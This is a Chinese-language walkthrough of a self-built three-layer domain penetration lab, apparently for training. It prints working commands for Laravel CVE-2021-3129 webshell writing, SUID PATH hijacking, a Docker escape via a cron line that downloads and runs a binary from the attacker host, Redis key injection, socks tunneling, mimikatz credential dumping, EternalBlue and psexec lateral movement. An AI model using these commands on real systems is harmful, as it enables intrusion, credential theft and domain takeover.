自主搭建的三层网络域渗透靶场打靶记录
字数 1080 2025-08-06 08:35:39

三层网络域渗透靶场打靶教学文档

靶场概述

本靶场模拟了一个三层网络域环境,从外网渗透开始,逐步攻入内网,最终拿下域控制器权限。靶场涉及多种漏洞利用技术和内网渗透方法。

网络拓扑

  • 第一层网络 (DMZ区): Ubuntu 18.04.5 (192.168.1.8) - 反向代理服务器
  • 第二层网络:
    • Ubuntu 14.04 (192.168.52.20) - Web服务器
    • Windows 7 (192.168.52.30) - 通达OA服务器
  • 第三层网络 (域环境):
    • Windows (192.168.93.30) - 域控制器(DC)
    • Windows (192.168.93.40) - 域内主机(PC2)

外网渗透

信息收集

  1. 端口扫描发现目标开放端口:

    • 80: HTTP (博客站点)
    • 81: HTTP (Laravel应用)
    • 6379: Redis
  2. Laravel应用存在CVE-2021-3129漏洞

Laravel Debug mode RCE漏洞利用(CVE-2021-3129)

  1. 使用phpggc生成反序列化POC:

    php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
    
  2. 分步骤利用漏洞:

    • 清空laravel.log
    • 添加前缀对齐
    • 写入POC
    • 清理干扰字符
    • 触发反序列化执行代码
  3. 写入Webshell:

    php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
    

权限提升

  1. 发现目标运行在Docker容器中
  2. 查找SUID文件:
    find / -perm -u=s -type f 2>/dev/null
    
  3. 利用环境变量劫持执行恶意ps程序:
    cd /tmp
    echo "/bin/bash" > ps
    chmod 777 ps
    export PATH=/tmp:$PATH
    cd /home/jobs
    ./shell
    

Docker逃逸

方法1: 特权模式逃逸

  1. 创建挂载目录:

    mkdir /hack
    
  2. 挂载宿主机磁盘:

    mount /dev/sda1 /hack
    
  3. 写入计划任务反弹shell:

    echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod +x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root
    

方法2: Redis未授权访问

  1. 生成SSH密钥:

    ssh-keygen -t rsa
    
  2. 写入Redis:

    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 192.168.1.8 -x set xxx
    
  3. 设置Redis保存路径:

    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    
  4. SSH连接:

    ssh 192.168.1.8
    

内网渗透

第二层网络渗透

  1. 添加路由:

    route add 192.168.52.0 255.255.255.0 [session_id]
    
  2. 搭建socks代理(使用EarthWorm):

    • 攻击机:
      ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
      
    • DMZ主机:
      ./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234
      
  3. 扫描内网主机:

    use auxiliary/scanner/discovery/udp_probe
    set rhosts 192.168.52.1-255
    run
    
  4. 通达OA V11.3漏洞利用:

    • 上传图片马
    • 文件包含执行:
      POST /ispirit/interface/gateway.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami
      

内网信息收集

  1. 基础信息收集命令:

    ipconfig /all
    systeminfo
    route print
    net view
    arp -a
    net start
    net share
    
  2. 域信息收集:

    net config workstation
    net user /domain
    net localgroup administrators
    net view /domain
    net group /domain
    net group "domain admins" /domain
    
  3. 抓取域用户密码(使用kiwi):

    load kiwi
    kiwi_cmd privilege::debug
    kiwi_cmd sekurlsa::logonPasswords
    

第三层网络渗透

  1. 添加路由:

    route add 192.168.93.0 255.255.255.0 [session_id]
    
  2. 搭建二级socks代理:

    • 攻击机:
      ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
      
    • 第二层Windows:
      ew_for_Win.exe -s ssocksd -l 999
      
    • DMZ主机:
      ./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
      
  3. 扫描内网主机:

    use auxiliary/scanner/smb/smb_version
    set rhosts 192.168.93.1-255
    run
    
  4. 永恒之蓝攻击(MS17-010):

    use exploit/windows/smb/ms17_010_eternalblue
    set rhosts 192.168.93.40
    set payload windows/x64/meterpreter/bind_tcp
    exploit
    

进攻域控

  1. 关闭域控防火墙:

    net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
    sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\192.168.93.30 start unablefirewall
    
  2. Psexec登录:

    use exploit/windows/smb/psexec
    set rhosts 192.168.93.30
    set SMBUser administrator
    set SMBPass Whoami2021
    set payload windows/meterpreter/bind_tcp
    run
    

权限维持技术

  1. 黄金票据
  2. 白银票据
  3. Sid History注入

总结

本靶场涵盖了从外网渗透到内网横向移动的完整攻击链,涉及多种漏洞利用技术和内网渗透方法,包括:

  • Web应用漏洞利用(Laravel, 通达OA)
  • 容器逃逸技术
  • 内网代理搭建
  • 横向移动技术(MS17-010, Psexec)
  • 域渗透技术
三层网络域渗透靶场打靶教学文档 靶场概述 本靶场模拟了一个三层网络域环境,从外网渗透开始,逐步攻入内网,最终拿下域控制器权限。靶场涉及多种漏洞利用技术和内网渗透方法。 网络拓扑 第一层网络 (DMZ区) : Ubuntu 18.04.5 (192.168.1.8) - 反向代理服务器 第二层网络 : Ubuntu 14.04 (192.168.52.20) - Web服务器 Windows 7 (192.168.52.30) - 通达OA服务器 第三层网络 (域环境) : Windows (192.168.93.30) - 域控制器(DC) Windows (192.168.93.40) - 域内主机(PC2) 外网渗透 信息收集 端口扫描发现目标开放端口: 80: HTTP (博客站点) 81: HTTP (Laravel应用) 6379: Redis Laravel应用存在CVE-2021-3129漏洞 Laravel Debug mode RCE漏洞利用(CVE-2021-3129) 使用phpggc生成反序列化POC: 分步骤利用漏洞: 清空laravel.log 添加前缀对齐 写入POC 清理干扰字符 触发反序列化执行代码 写入Webshell: 权限提升 发现目标运行在Docker容器中 查找SUID文件: 利用环境变量劫持执行恶意ps程序: Docker逃逸 方法1: 特权模式逃逸 创建挂载目录: 挂载宿主机磁盘: 写入计划任务反弹shell: 方法2: Redis未授权访问 生成SSH密钥: 写入Redis: 设置Redis保存路径: SSH连接: 内网渗透 第二层网络渗透 添加路由: 搭建socks代理(使用EarthWorm): 攻击机: DMZ主机: 扫描内网主机: 通达OA V11.3漏洞利用: 上传图片马 文件包含执行: 内网信息收集 基础信息收集命令: 域信息收集: 抓取域用户密码(使用kiwi): 第三层网络渗透 添加路由: 搭建二级socks代理: 攻击机: 第二层Windows: DMZ主机: 扫描内网主机: 永恒之蓝攻击(MS17-010): 进攻域控 关闭域控防火墙: Psexec登录: 权限维持技术 黄金票据 白银票据 Sid History注入 总结 本靶场涵盖了从外网渗透到内网横向移动的完整攻击链,涉及多种漏洞利用技术和内网渗透方法,包括: Web应用漏洞利用(Laravel, 通达OA) 容器逃逸技术 内网代理搭建 横向移动技术(MS17-010, Psexec) 域渗透技术